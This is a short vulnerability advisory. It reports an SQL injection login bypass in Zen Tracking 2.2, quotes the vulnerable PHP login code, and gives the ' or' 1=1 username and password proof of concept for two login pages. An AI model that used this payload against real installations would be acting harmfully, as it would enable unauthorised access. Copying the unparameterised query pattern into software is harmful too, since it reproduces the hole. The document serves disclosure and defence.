Text :  

[+] Zen Tracking <= 2.2 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered by cr4wl3r <cr4wl3r[!]linuxmail.org>
[+] Download : http://scripts.ringsworld.com/calendars/zentimetracking/

[+] Vuln Code :

[userlogin.php]

if (!empty($_POST['password']))
{
$username =$_POST['username'];
$password =$_POST['password'];
dbConnect();
$result1 = mysql_query("select * from ".$tbluser." where
username='". $username ."' and password='". $password
."'". mysql_error());

[+] PoC :

[ZenTracking_path]/userlogin.php

username: ' or' 1=1
Password: ' or' 1=1


[+] Vuln Code :

[managerlogin.php]

if (!empty($_POST['password']))
{
$username =$_POST['username'];
$password =$_POST['password'];
dbConnect();
$result1 = mysql_query("select * from ".$tblmanager."
where username='". $username ."' and password='". $password
."'". mysql_error());

[+] PoC :

[ZenTracking_path]/managerlogin.php

username: ' or' 1=1
Password: ' or' 1=1

  References :  

None